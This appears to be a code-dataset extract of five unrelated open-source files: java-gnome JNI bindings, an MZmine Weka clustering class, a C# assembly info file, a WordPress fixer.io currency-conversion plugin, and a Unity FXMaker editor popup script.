code
stringlengths
3
1.01M
repo_name
stringlengths
5
116
path
stringlengths
3
311
language
stringclasses
30 values
license
stringclasses
15 values
size
int64
3
1.01M
/* * java-gnome, a UI library for writing GTK and GNOME programs from Java! * * Copyright © 2006-2011 Operational Dynamics Consulting, Pty Ltd and Others * * The code in this file, and the program it is a part of, is made available * to you by its authors as open source software: you can redistribute it * and/or modify it under the terms of the GNU General Public License version * 2 ("GPL") as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GPL for more details. * * You should have received a copy of the GPL along with this program. If not, * see http://www.gnu.org/licenses/. The authors of this program may be * contacted through http://java-gnome.sourceforge.net/. * * Linking this library statically or dynamically with other modules is making * a combined work based on this library. Thus, the terms and conditions of * the GPL cover the whole combination. As a special exception (the * "Claspath Exception"), the copyright holders of this library give you * permission to link this library with independent modules to produce an * executable, regardless of the license terms of these independent modules, * and to copy and distribute the resulting executable under terms of your * choice, provided that you also meet, for each linked independent module, * the terms and conditions of the license of that module. An independent * module is a module which is not derived from or based on this library. If * you modify this library, you may extend the Classpath Exception to your * version of the library, but you are not obligated to do so. If you do not * wish to do so, delete this exception statement from your version. */ /* * THIS FILE IS GENERATED CODE! * * To modify its contents or behaviour, either update the generation program, * change the information in the source defs file, or implement an override for * this class. */ #include <jni.h> #include <gtk/gtk.h> #include "bindings_java.h" #include "org_gnome_gtk_GtkUIManagerItemType.h" JNIEXPORT jint JNICALL Java_org_gnome_gtk_GtkUIManagerItemType_get_1ordinal_1auto ( JNIEnv* env, jclass cls ) { return (jint) GTK_UI_MANAGER_AUTO; } JNIEXPORT jint JNICALL Java_org_gnome_gtk_GtkUIManagerItemType_get_1ordinal_1menubar ( JNIEnv* env, jclass cls ) { return (jint) GTK_UI_MANAGER_MENUBAR; } JNIEXPORT jint JNICALL Java_org_gnome_gtk_GtkUIManagerItemType_get_1ordinal_1menu ( JNIEnv* env, jclass cls ) { return (jint) GTK_UI_MANAGER_MENU; } JNIEXPORT jint JNICALL Java_org_gnome_gtk_GtkUIManagerItemType_get_1ordinal_1toolbar ( JNIEnv* env, jclass cls ) { return (jint) GTK_UI_MANAGER_TOOLBAR; } JNIEXPORT jint JNICALL Java_org_gnome_gtk_GtkUIManagerItemType_get_1ordinal_1placeholder ( JNIEnv* env, jclass cls ) { return (jint) GTK_UI_MANAGER_PLACEHOLDER; } JNIEXPORT jint JNICALL Java_org_gnome_gtk_GtkUIManagerItemType_get_1ordinal_1popup ( JNIEnv* env, jclass cls ) { return (jint) GTK_UI_MANAGER_POPUP; } JNIEXPORT jint JNICALL Java_org_gnome_gtk_GtkUIManagerItemType_get_1ordinal_1menuitem ( JNIEnv* env, jclass cls ) { return (jint) GTK_UI_MANAGER_MENUITEM; } JNIEXPORT jint JNICALL Java_org_gnome_gtk_GtkUIManagerItemType_get_1ordinal_1toolitem ( JNIEnv* env, jclass cls ) { return (jint) GTK_UI_MANAGER_TOOLITEM; } JNIEXPORT jint JNICALL Java_org_gnome_gtk_GtkUIManagerItemType_get_1ordinal_1separator ( JNIEnv* env, jclass cls ) { return (jint) GTK_UI_MANAGER_SEPARATOR; } JNIEXPORT jint JNICALL Java_org_gnome_gtk_GtkUIManagerItemType_get_1ordinal_1accelerator ( JNIEnv* env, jclass cls ) { return (jint) GTK_UI_MANAGER_ACCELERATOR; }
cyberpython/java-gnome
generated/bindings/org/gnome/gtk/GtkUIManagerItemType.c
C
gpl-2.0
3,787
/* * Copyright 2006-2012 The MZmine 2 Development Team * * This file is part of MZmine 2. * * MZmine 2 is free software; you can redistribute it and/or modify it under the * terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * MZmine 2 is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR * A PARTICULAR PURPOSE. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along with * MZmine 2; if not, write to the Free Software Foundation, Inc., 51 Franklin St, * Fifth Floor, Boston, MA 02110-1301 USA */ package net.sf.mzmine.modules.peaklistmethods.dataanalysis.clustering.em; import java.util.ArrayList; import java.util.Enumeration; import java.util.List; import java.util.logging.Level; import java.util.logging.Logger; import javax.annotation.Nonnull; import net.sf.mzmine.modules.peaklistmethods.dataanalysis.clustering.ClusteringAlgorithm; import net.sf.mzmine.modules.peaklistmethods.dataanalysis.clustering.ClusteringResult; import net.sf.mzmine.parameters.ParameterSet; import weka.clusterers.EM; import weka.core.Instance; import weka.core.Instances; public class EMClusterer implements ClusteringAlgorithm { private Logger logger = Logger.getLogger(this.getClass().getName()); private static final String MODULE_NAME = "Density-based clusterer"; @Override public @Nonnull String getName() { return MODULE_NAME; } @Override public ClusteringResult performClustering(Instances dataset, ParameterSet parameters) { List<Integer> clusters = new ArrayList<Integer>(); String[] options = new String[2]; EM clusterer = new EM(); int numberOfIterations = parameters.getParameter( EMClustererParameters.numberOfIterations).getValue(); options[0] = "-I"; options[1] = String.valueOf(numberOfIterations); try { clusterer.setOptions(options); clusterer.buildClusterer(dataset); Enumeration e = dataset.enumerateInstances(); while (e.hasMoreElements()) { clusters.add(clusterer.clusterInstance((Instance) e .nextElement())); } ClusteringResult result = new ClusteringResult(clusters, null, clusterer.numberOfClusters(), parameters.getParameter( EMClustererParameters.visualization).getValue()); return result; } catch (Exception ex) { logger.log(Level.SEVERE, null, ex); return null; } } @Override public @Nonnull Class<? extends ParameterSet> getParameterSetClass() { return EMClustererParameters.class; } }
berlinguyinca/mzmine-fork
src/main/java/net/sf/mzmine/modules/peaklistmethods/dataanalysis/clustering/em/EMClusterer.java
Java
gpl-2.0
2,704
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("Logging.Test")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("Microsoft")] [assembly: AssemblyProduct("Logging.Test")] [assembly: AssemblyCopyright("Copyright © Microsoft 2012")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("4f64a818-a505-469d-a485-88e0f1274ee7")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
takenet/library.logging
src/Logging.Test/Properties/AssemblyInfo.cs
C#
gpl-2.0
1,378
<?php /** * Plugin Name: fixer.io Currency Conversion by Marketing Results * Plugin URI: https://github.com/mresults/mr-fixer-io * Description: Provides currency conversion options via fixer.io * Version: 1.0.0 * Author: Shaun Johnston * Author URI: https://www.marketingresults.com.au * Text Domain: mr-fixer-io * License: GPL-2.0+ * License URI: http://www.gnu.org/licenses/gpl-2.0.txt */ class MrFixerIO { # Prefix used for namespacing options and shortcodes const prefix = 'mr_fixer_io_'; # Location of the fixer.io API endpoint const fixer_io_url = 'http://api.fixer.io/latest'; # Location of the Google API csv for currency symbols const google_api_symbols_url = 'https://developers.google.com/adwords/api/docs/appendix/currencycodes.csv'; private $settings = array( 'allowed_currencies' => array('AUD','GBP','USD','PHP'), 'default_currency' => 'AUD', 'base_currency' => 'AUD' ); # This plugin class private static $instance; # Stores rates after an initial call, for the life of the request private $rates; # Stores the preferred currency after an initial call, for the life of the # request private $currency; # Stores a list of applicable currencies private $currencies; # Stores a list of allowed currencies private $allowed_currencies; # Stores a map of currency codes to metadata about those currencies private $currency_meta; # Get this plugin class instance public static function getInstance() { # If the plugin has not been instantiated if (null === static::$instance) { # Instantiate the plugin as a static instance static::$instance = new MrFixerIO(); } # Return the plugin instance return static::$instance; } protected function __construct() { # Run the activate method when the plugin is activated register_activation_hook(__FILE__, array($this, 'activate')); # Run the deactivate method when the plugin is deactivated register_deactivation_hook(__FILE__, array($this, 'deactivate')); # Implement plugin-specific shortcode hooks self::add_shortcodes(); # Implement plugin-specific filters self::add_filters(); # Implement plugin-specific widgets self::add_widgets(); # Implements an options page self::add_options_page(); # Implements Javascript self::add_javascript(); } # Dummy - prevents instantiation of a copy of this plugin private function __clone() { } # Dummy - prevents instantiation of a copy of this plugin from a session # variable private function __wakeup() { } # Set up this plugin on activation public function activate() { # Write the plugin's default settings to the database add_option(self::prefix . 'settings', $this->settings); # Add a WordPress option containing the currencies offered by fixer.io add_option(self::prefix . 'currencies', self::fetch_currencies_meta()); # Add a WordPress option containing the timestamp the currencies were # fetched add_option(self::prefix . 'currencies_timestamp', time()); } # Remove plugin settions on deactivation public function deactivate() { # Delete all the options added when activation occurred delete_option(self::prefix . 'settings'); delete_option(self::prefix . 'currencies'); delete_option(self::prefix . 'currencies_timestamp'); } # Add some WordPress shortcode hooks public function add_shortcodes() { # Call the plugin's currency select shortcode method when the shortcode is # called add_shortcode(self::prefix . 'currency_select', array($this, 'shortcode_currency_select')); # Call the plugin's selected currency shortcode method when the shortcode # is called add_shortcode(self::prefix . 'selected_currency', array($this, 'shortcode_selected_currency')); # Call the plugin's currency conversion shortcode method when the # shortcode is called add_shortcode(self::prefix . 'convert', array($this, 'shortcode_convert')); } # Add some WordPress filter hooks public function add_filters() { # Call the queryvars method when WordPress' query_vars filter is called add_filter('query_vars', array($this, 'queryvars')); } # Adds some WordPress widget hooks public function add_widgets() { # Require the widgets include require_once('lib/widgets.php'); # Currency selector widget add_action('widgets_init', function() { register_widget('mrFixerIO_Widget_Currency_Selector'); }); # Selected currency widget add_action('widgets_init', function() { register_widget('mrFixerIO_Widget_Selected_Currency'); }); } # Enqueue Javascript public function add_javascript() { # Enqueue core conversion Javascript on enqueue_scripts hook add_action('wp_enqueue_scripts', array($this, 'enqueue_javascript_core')); } # Enqueue the core conversion Javascript public function enqueue_javascript_core() { # Build an array of data to supply to the core conversion script $data = array( 'settings' => array( 'allowed_currencies' => self::get_allowed_currencies(), 'default_currency' => self::get_setting('default_currency'), 'base_currency' => self::get_setting('base_currency'), 'show_currency_code' => self::get_setting('show_currency_code'), ), 'currency' => self::get_currency(), 'rates' => self::get_rates(), ); # Enqueue the core conversion script wp_enqueue_script('mr-ifs-sync-sync', plugin_dir_url(__FILE__) . 'js/mr-fixer-io.js', array('jquery')); wp_localize_script('mr-ifs-sync-sync', 'MRFixerIO', $data); } # Add an options page, using the Rational Option Pages library public function add_options_page() { # Include the Rational Option Pages library require_once('lib/RationalOptionPages.php'); # Define the options page $pages = array( self::prefix . 'settings' => array( 'parent_slug' => 'options-general.php', 'page_title' => __('fixer.io Settings', 'text-domain'), 'icon_url' => 'dashicons-chart-area', 'sections' => array( 'defaults' => array( 'title' => __('Defaults', 'text-domain'), 'text' => '<p>' . __('Set some default options for fixer.io', 'text-domain') . '</p>', 'fields' => array( 'allowed_currencies' => array( 'title' => __('Allowed Currencies', 'text-domain'), 'type' => 'select', 'text' => __('Set the currencies that visitors can choose to convert to', 'text-domain'), 'attributes' => array( 'multiple' => 'true', 'size' => '12', ), 'choices' => call_user_func(function() { $currencies = self::get_currencies(); $choices = array(); foreach ($currencies as $currency) { $choices[$currency['code']] = "[{$currency['code']}] {$currency['name']}"; } ksort($choices); return $choices; }), ), 'default_currency' => array( 'title' => __('Default Currency', 'text-domain'), 'type' => 'select', 'text' => __('Set the currency that will be the default'), 'choices' => call_user_func(function() { $currencies = self::get_currencies(); $choices = array(); foreach ($currencies as $currency) { $choices[$currency['code']] = "[{$currency['code']}] {$currency['name']}"; } ksort($choices); return $choices; }), ), 'base_currency' => array( 'title' => __('Base Currency', 'text-domain'), 'type' => 'select', 'text' => __('Set the base currency of your website'), 'choices' => call_user_func(function() { $currencies = self::get_currencies(); $choices = array(); foreach ($currencies as $currency) { $choices[$currency['code']] = "[{$currency['code']}] {$currency['name']}"; } ksort($choices); return $choices; }), ), 'show_currency_code' => array( 'title' => __('Show Currency Code', 'text-domain'), 'type' => 'select', 'text' => __('Determine if / when to display the currency code'), 'choices' => array( 'never' => 'Never', 'nosymbol' => 'When no symbol exists for the currency', 'always' => 'Always', ), ), ), ), ), ), ); $options = new RationalOptionPages($pages); } # Adds some query variables to WordPress' allowed query variables list public function queryvars($qvars) { # This variable tells the plugin which currency to convert to $qvars[] = 'mr-fixer-io-cur'; return $qvars; } # This shortcode renders a currency selection widget public function shortcode_currency_select($atts) { return self::currency_select(); } # This shortcode renders a fragment showing the selected currency public function shortcode_selected_currency($atts) { return self::selected_currency(); } # Perform currency conversion for given attributes public function shortcode_convert($atts) { # Check for the existence of a supplied currency attribute $currency_supplied = isset($atts['currency']); # Set some default attributes but allow them to be overridden $atts = shortcode_atts(array( # Currency to convert to "currency" => call_user_func(function() { $currency = self::get_currency(); return $currency['code']; }), # Value to convert "value" => '1.00', ), $atts, self::prefix . 'convert'); # Get the list of allowed currencies $currencies = self::get_allowed_currencies(); # Initialise an empty HTML attributes array $html_atts = array(); # Add a currency HTML attribute if it is present in the shortode if ($currency_supplied) { $html_atts[] = 'mrfixerio:curr="' . $atts['currency'] . '"'; } $html_atts[] = 'mrfixerio:val="' . $atts['value'] . '"'; # If the provided currency is the same as the base currency, don't bother # converting the value if ($atts['currency'] === self::get_setting('base_currency')) { return "<span class=\"mr-fixer-io-value\" " . implode(" ", $html_atts) . ">{$currencies[$atts['currency']]['symbol']}{$atts['value']}</span>"; } # Call the get_rates method which returns current currency conversion rates $rates = self::get_rates(); # Convert the value to the given rate $converted = number_format(((float)$atts['value'] * (float)$rates['rates'][$currencies[$atts['currency']]['code']]), 2); $display_code = (self::get_currency_display_setting($currencies[$atts['currency']])) ? $currencies[$atts['currency']]['code'] : ''; # Return the rate, prepended with the currency symbol for the given currency return "<span class=\"mr-fixer-io-value\" " . implode(" ", $html_atts) . ">{$currencies[$atts['currency']]['symbol']}{$display_code}{$converted}</span>"; } # Returns an HTML fragment containing the selected currency public function selected_currency() { # Get the currently selected currency $currency = self::get_currency(); # Return the currency code for the currency return '<span class="mr-fixer-io-currency">' . $currency['code'] . '</span>'; } # Returns a currency selection widget public function currency_select() { # Get the list of currencies to render $currencies = self::get_allowed_currencies(); # Instantiate the string containing the widget HTML $links = ''; # Iterate through the currencies foreach ($currencies as $currency) { # Append a link to the currency conversion URL for this currency $links .= "<a class=\"mr-fixer-io-convert-trigger\" mrfixerio:curr=\"{$currency['code']}\" href=" . self::currency_url($currency['code']) . ">{$currency['code']}</a>\n"; } # Return an HTML widget containing the links return " <div class=\"mr-fixer-io-currency-select\"> {$links} </div> "; } # Set the conversion URL for the given currency private function currency_url($currency) { # Add the currency return add_query_arg(array('mr-fixer-io-cur' => $currency)); } # Returns the value of the supplied setting name private function get_setting($setting) { # Get the settions option - this should return an array of settings $settings = get_option(self::prefix . 'settings', $this->settings); # Return the given setting, or null if it doesn't exist return (isset($settings[$setting])) ? $settings[$setting] : NULL; } # Return the current exchange rates private function get_rates() { # If there is no rates property it needs to be set if (null === $this->rates) { # Get our list of allowed currencies $allowed_currencies = self::get_allowed_currencies(); # Get our base currency $base = self::get_setting('base_currency'); # Instantiate an empty container to fill with currencies $currencies = array(); # Iterate through the allowed currencies foreach ($allowed_currencies as $allowed_currency) { # Append the currency of this allowed currency to the currencies # container $currencies[] = $allowed_currency['code']; } # Turn the currencies container into a comma delmited string $currencies = implode(',', $currencies); # Fetch the rates from fixer.io and save them to the rates property $this->rates = json_decode(file_get_contents(self::fixer_io_url . "?base={$base}&symbols={$currencies}"), TRUE); } # Return the rates return $this->rates; } private function get_currency_display_setting($currency) { $display_currency_setting = self::get_setting('show_currency_code'); if ($display_currency_setting === 'always') { return true; } if ((!$currency['symbol']) && $display_currency_setting == 'nosymbol') { return true; } return false; } # Gets a list of allowed currencies private function get_allowed_currencies() { # If there is no allowed currency list it needs to be set if (null === $this->allowed_currencies) { # Get the stored list of allowed currencies, if it exists $allowed_currencies = self::get_setting('allowed_currencies'); # Get the list of applicable currencies $currencies = self::get_currencies(); # Initialise a shared allowed currencies array $this->allowed_currencies = array(); # Iterate through the allowed currencies and append applicable currency # data to the shared array foreach ($allowed_currencies as $currency) { $this->allowed_currencies[$currency] = $currencies[$currency]; } } return $this->allowed_currencies; } # Gets a list of applicable currencies private function get_currencies() { # If there is no currency list it needs to be set if (null === $this->currencies) { # Get the stored list of applicable currencies, if it exists $this->currencies = get_option(self::prefix . 'currencies'); # Get the timestamp of the last currency update $currencies_timestamp = get_option(self::prefix . 'currencies_timestamp'); # Check whether the currencies option is set, and whether it is # old enough to be refreshed. If not, fetch a new set if (!count($this->currencies) || (time() - $currencies_timestamp > 2592000 /* 30 days in seconds */)) { self::fetch_currencies_meta(); # Now we have a map of currencies to metadata, get the timestamp and # save the values update_option(self::prefix . 'currencies', $this->currencies); update_option(self::prefix . 'currencies_timestamp', time()); } } return $this->currencies; } # Get the currently selected currency private function get_currency() { # If there is no currency property it needs to be set if (null === $this->currency) { # Call the WP_Session plugin as an object $wp_session = WP_Session::get_instance(); # Get the list of applicable currencies $currencies = self::get_currencies(); # Set the stored currency, depending on if it is in the session or not $stored_currency = (!empty($wp_session[self::prefix . 'currency'])) # If in the session, set it to the currency in the session ? $wp_session[self::prefix . 'currency'] # Otherwise set it to the default currency : $currencies[self::get_setting('default_currency')]; # Set the currency property to the query var, defaulting to the stored # currency we already have $this->currency = $currencies[get_query_var('mr-fixer-io-cur', $stored_currency['code'])]; # If the currency property does not match the stored currency, save the # property to the session if ($this->currency !== $stored_currency) { $wp_session[self::prefix . 'currency'] = $this->currency; } } # Return the currency we have fetched return $this->currency; } private function fetch_currencies_meta() { # First, get the currency meta # Convert a CSV fetched from Google to an array using str_getcsv $csv = array_map('str_getcsv', file(self::google_api_symbols_url)); # Strip the headers off the array array_shift($csv); # Initialise a new meta array $meta = array(); # Iterate through the array foreach ($csv as $cur) { # Append metadata about this currency $meta[$cur[0]] = array( 'code' => $cur[0], 'name' => $cur[1], 'symbol' => $cur[2], ); } # Now fetch a list of applicable currencies from fixer.io $fixer = json_decode(file_get_contents(self::fixer_io_url), TRUE); # Initialise a currency array to fill $this->currencies = array(); # Iterate through the array of currencies and cross-inject the meta foreach ($fixer['rates'] as $currency => $rate) { $this->currencies[$currency] = $meta[$currency]; } return $this->currencies; } } # Start the plugin mrFixerIO::getInstance(); ?>
mresults/mr-fixer-io
mr-fixer-io.php
PHP
gpl-2.0
18,803
// ---------------------------------------------------------------------------------- // // FXMaker // Created by ismoon - 2012 - ismoonto@gmail.com // // ---------------------------------------------------------------------------------- // Attribute ------------------------------------------------------------------------ // Property ------------------------------------------------------------------------- // Loop Function -------------------------------------------------------------------- // Control Function ----------------------------------------------------------------- // Event Function ------------------------------------------------------------------- using UnityEngine; #if UNITY_EDITOR using UnityEditor; using System.Collections; using System.IO; public class FxmFolderPopup_NcCurveAnimation : FxmFolderPopup { // Attribute ------------------------------------------------------------------------ // const protected const string m_NcCurveAni_FileKeyword = "NcAniCurve_"; public string m_DefaultGroupName = "[Animation]"; public GameObject m_DefaultSavePrefab; // popup protected NcCurveAnimation m_OriCurveAnimation; protected GameObject[] m_CurveAniObjects; protected GameObject m_SelCurveAniObject; protected NcCurveAnimation m_CurrentCurveAnimation; // Property ------------------------------------------------------------------------- public override bool ShowPopupWindow(Object selObj, bool bSaveDialog) { m_CurrentCurveAnimation = selObj as NcCurveAnimation; if (m_CurrentCurveAnimation == null) { Debug.LogError("(selObj as NcCurveAnimation) is null"); return false; } // Save Hint Box m_bDrawRedProject = bSaveDialog; m_bDrawRedGroup = bSaveDialog; m_bDrawRedBottom = bSaveDialog; // SaveDialog - Disable m_bOptionRecursively if (bSaveDialog) { m_SaveFilename = "Save FileName"; m_bFixedOptionRecursively = true; m_bOptionRecursively = false; } else m_bFixedOptionRecursively = false; // create backup component m_OriCurveAnimation = gameObject.GetComponent<NcCurveAnimation>(); if (m_OriCurveAnimation == null) { m_OriCurveAnimation = gameObject.AddComponent<NcCurveAnimation>(); m_OriCurveAnimation.enabled = false; } // backup m_CurrentCurveAnimation.CopyTo(m_OriCurveAnimation, false); m_nOriMaxObjectColumn = 3; m_fButtonAspect = FXMakerLayout.m_fScrollButtonAspect; m_SelectedTransform = m_CurrentCurveAnimation.transform; m_PrefsName = "NcCurveAnimation"; m_BaseDefaultGroupName = m_DefaultGroupName; m_SelCurveAniObject = null; return base.ShowPopupWindow(selObj, bSaveDialog); } // ------------------------------------------------------------------------------------------- void Awake() { m_nObjectColumn = 3; m_bOptionShowName = true; } void Start() { } void Update() { } public override void OnGUIPopup() { base.OnGUIPopup(); // Popup Window --------------------------------------------------------- FXMakerMain.inst.ModalMsgWindow(FXMakerLayout.GetWindowId(FXMakerLayout.WINDOWID.POPUP), GetPopupRect(), winPopup, "CurveAnimation"); } // ========================================================================================================== protected override void DrawBottomRect(Rect baseRect) { GUI.Box(baseRect, ""); GUIContent guiCon; Rect imageRect = baseRect; imageRect.width = FXMakerLayout.GetFixedWindowWidth(); Rect rightRect = baseRect; rightRect.x += imageRect.width; rightRect.width -= imageRect.width; rightRect = FXMakerLayout.GetOffsetRect(rightRect, 5, 3, -5, -3); Rect buttonRect = FXMakerLayout.GetInnerVerticalRect(rightRect, 12, 0, 5); if (m_bSaveDialog) { Rect labelRect = FXMakerLayout.GetInnerVerticalRect(baseRect, 12, 2, 3); GUI.Label(FXMakerLayout.GetLeftRect(labelRect, 100), "Filename:"); Rect editRect = FXMakerLayout.GetInnerVerticalRect(baseRect, 12, 5, 5); string saveFilename = GUI.TextField(editRect, m_SaveFilename, 50); if (saveFilename != m_SaveFilename) { if (saveFilename.Trim() != "") m_SaveFilename = saveFilename; } } else { // image if (m_SelObjectContent == null) guiCon = new GUIContent("[Not Selected]"); else guiCon = new GUIContent("", m_SelObjectContent.image, m_SelObjectContent.tooltip); if (FXMakerLayout.GUIButton(imageRect, guiCon, GUI.skin.GetStyle("PopupBottom_ImageButton"), (m_SelObjectContent != null))) { if (Input.GetMouseButtonUp(0)) { FXMakerAsset.SetPingObject(m_CurrentCurveAnimation); FXMakerMain.inst.CreateCurrentInstanceEffect(true); } if (Input.GetMouseButtonUp(1)) FXMakerAsset.SetPingObject(m_CurveAniObjects[m_nObjectIndex]); } // text GUI.Label(FXMakerLayout.GetInnerVerticalRect(rightRect, 12, 5, 8), (m_SelObjectContent == null ? "[Not Selected]" : m_SelObjectContent.text)); } if (m_bSaveDialog) { bool bSaveEnable = (0 <= m_nGroupIndex && 0 < m_nGroupCount); bool bReadOnyFolder = false; if (bSaveEnable) { bReadOnyFolder = 0 < IsReadOnlyFolder(); bSaveEnable = !bReadOnyFolder; } // Cancel if (FXMakerLayout.GUIButton(FXMakerLayout.GetInnerHorizontalRect(buttonRect, 2, 0, 1), GetHelpContent("Cancel"), true)) { ClosePopup(false); return; } // save if (FXMakerLayout.GUIButton(FXMakerLayout.GetInnerHorizontalRect(buttonRect, 2, 1, 1), (bReadOnyFolder ? FXMakerTooltip.GetGUIContent("Save", FXMakerTooltip.GetHsToolMessage("READONLY_FOLDER", "")) : GetHelpContent("Save")), bSaveEnable)) { SaveCurveAniToPrefabFile(); ClosePopup(true); // FXMakerEffect.inst.LoadProject(); } if (m_bDrawRedBottomButtom) NgGUIDraw.DrawBox(FXMakerLayout.GetOffsetRect(buttonRect, 3), FXMakerLayout.m_ColorHelpBox, (bSaveEnable ? 2:1), false); if (m_bDrawRedBottom) NgGUIDraw.DrawBox(FXMakerLayout.GetOffsetRect(baseRect, 2), FXMakerLayout.m_ColorHelpBox, (bSaveEnable ? 2:1), false); } else { // Undo int nButtonWidht = 70; buttonRect.width = nButtonWidht/2; if (FXMakerLayout.GUIButton(buttonRect, GetHelpContent("Undo"), (m_SelCurveAniObject != null))) { UndoCurveAni(); m_nObjectIndex = -1; m_nSelObjectGroupIndex = -1; m_nSelObjectProjectIndex= -1; m_SelObjectContent = null; m_SelCurveAniObject = null; FXMakerMain.inst.CreateCurrentInstanceEffect(true); } // close buttonRect.x += buttonRect.width + 5; buttonRect.width = baseRect.width - buttonRect.x; if (GUI.Button(buttonRect, GetHelpContent("Close"))) ClosePopup(true); } } // ---------------------------------------------------------------------------------------------------------- protected override void LoadObjects() { m_CurveAniObjects = null; m_ObjectContents = null; m_nObjectCount = 0; m_nObjectIndex = -1; if (0 < m_nGroupCount) { string loaddir; if (m_bOptionRecursively) loaddir = NgFile.CombinePath(FXMakerMain.inst.GetResourceDir(FXMakerMain.TOOLDIR_TYPE.PROJECTS), m_ProjectFolerContents[m_nProjectIndex].text + "/"); else loaddir = NgFile.CombinePath(FXMakerMain.inst.GetResourceDir(FXMakerMain.TOOLDIR_TYPE.PROJECTS), m_ProjectFolerContents[m_nProjectIndex].text + "/" + m_GroupFolderContents[m_nGroupIndex].text + "/"); AddObjects(loaddir); } } void AddObjects(string loaddir) { m_LoadDirectory = NgFile.PathSeparatorNormalize(loaddir); m_CurveAniObjects = NgAsset.GetCurvePrefabList(m_LoadDirectory, "", true, FXMakerLayout.m_nMaxPrefabListCount, out m_nObjectCount); ArrayList curveAnis = new ArrayList(); foreach (GameObject obj in m_CurveAniObjects) { if (obj.GetComponent<NcCurveAnimation>() != null && obj.name.Contains(FxmFolderPopup_NcInfoCurve.m_NcInfoCurve_FileKeyword) == false) curveAnis.Add(obj); } m_CurveAniObjects = NgConvert.ToArray<GameObject>(curveAnis); if (m_CurveAniObjects == null) m_CurveAniObjects = new GameObject[0]; m_nObjectCount = m_CurveAniObjects.Length; m_ObjectContents = new GUIContent[m_nObjectCount]; // Current Select if (m_SelCurveAniObject != null) { for (int n=0; n < m_nObjectCount; n++) if (m_CurveAniObjects[n] == m_SelCurveAniObject) m_nObjectIndex = n; } BuildContents(); } void BuildContents() { CancelInvoke("BuildContents"); if (enabled == false) return; int nNotLoadPreviewCount = 0; for (int n=0; n < m_nObjectCount; n++) { if (m_ObjectContents[n] == null) { string subDir = AssetDatabase.GetAssetPath(m_CurveAniObjects[n]); subDir = NgFile.PathSeparatorNormalize(subDir).Replace(m_LoadDirectory, ""); m_ObjectContents[n] = new GUIContent(); m_ObjectContents[n].text = m_CurveAniObjects[n].name; m_ObjectContents[n].tooltip = FXMakerTooltip.Tooltip(m_CurveAniObjects[n].name + "\n" + subDir); } if (m_ObjectContents[n].image == null) { m_ObjectContents[n].image = FXMakerMain.inst.GetPrefabThumbTexture(m_CurveAniObjects[n]); if (m_ObjectContents[n].image != null) m_ObjectContents[n].tooltip += FXMakerTooltip.AddPopupPreview(m_ObjectContents[n].image); } if (m_ObjectContents[n].image == null) nNotLoadPreviewCount++; } if (0 < nNotLoadPreviewCount) Invoke("BuildContents", FXMakerLayout.m_fReloadPreviewTime); } // ---------------------------------------------------------------------------------------------------------- protected override void SetActiveObject(int nObjectIndex) { if (nObjectIndex < 0 || m_nObjectCount <= nObjectIndex) return; GameObject selCurveAniObj = m_CurveAniObjects[nObjectIndex]; // right button, image Ping and not select if (Input.GetMouseButtonUp(1)) { FXMakerAsset.SetPingObject(selCurveAniObj); return; } // °°Àº°Í ÀçŬ¸¯ if (m_nObjectIndex == nObjectIndex) { FXMakerAsset.SetPingObject(m_CurrentCurveAnimation); FXMakerMain.inst.CreateCurrentInstanceEffect(true); return; } SetCurveAni(selCurveAniObj); FXMakerMain.inst.CreateCurrentInstanceEffect(true); m_nObjectIndex = nObjectIndex; m_nSelObjectProjectIndex= m_nProjectIndex; m_nSelObjectGroupIndex = (m_bOptionRecursively ? -1 : m_nGroupIndex); m_SelObjectContent = new GUIContent(m_ObjectContents[nObjectIndex].text, m_ObjectContents[nObjectIndex].image, m_ObjectContents[nObjectIndex].tooltip); } void SetCurveAni(GameObject selCurveAniObj) { NcCurveAnimation ncCurveAni = selCurveAniObj.GetComponent<NcCurveAnimation>(); m_SelCurveAniObject = selCurveAniObj; // copy // ncCurveAni.CopyTo(m_CurrentCurveAnimation, false); // append m_OriCurveAnimation.CopyTo(m_CurrentCurveAnimation, false); ncCurveAni.AppendTo(m_CurrentCurveAnimation, false); } void UndoCurveAni() { // Restore m_OriCurveAnimation.CopyTo(m_CurrentCurveAnimation, false); m_SelCurveAniObject = null; } void SaveCurveAniToPrefabFile() { if (m_nProjectIndex < 0) return; if (m_DefaultSavePrefab == null) { Debug.LogError("FxmFolderPopup_NcCurveAnimation.m_DefaultSavePrefab is null"); return; } string dstPath = NgFile.CombinePath(m_LoadDirectory, m_NcCurveAni_FileKeyword + m_SaveFilename + ".prefab"); dstPath = NgAsset.CreateDefaultUniquePrefab(m_DefaultSavePrefab, dstPath); GameObject newPrefab = NgAsset.LoadPrefab(dstPath); NcCurveAnimation newCom = newPrefab.AddComponent<NcCurveAnimation>(); m_CurrentCurveAnimation.CopyTo(newCom, false); FXMakerAsset.AssetDatabaseSaveAssets(); } // Control Function ----------------------------------------------------------------- // Event Function ------------------------------------------------------------------- // ------------------------------------------------------------------------------------------- } #endif
lienze/Project_ARPG
Assets/Plugins/IGSoft_Tools/FXMaker/ToolScript/ToolScript/FxmFolderPopup_NcCurveAnimation.cs
C#
gpl-2.0
12,094
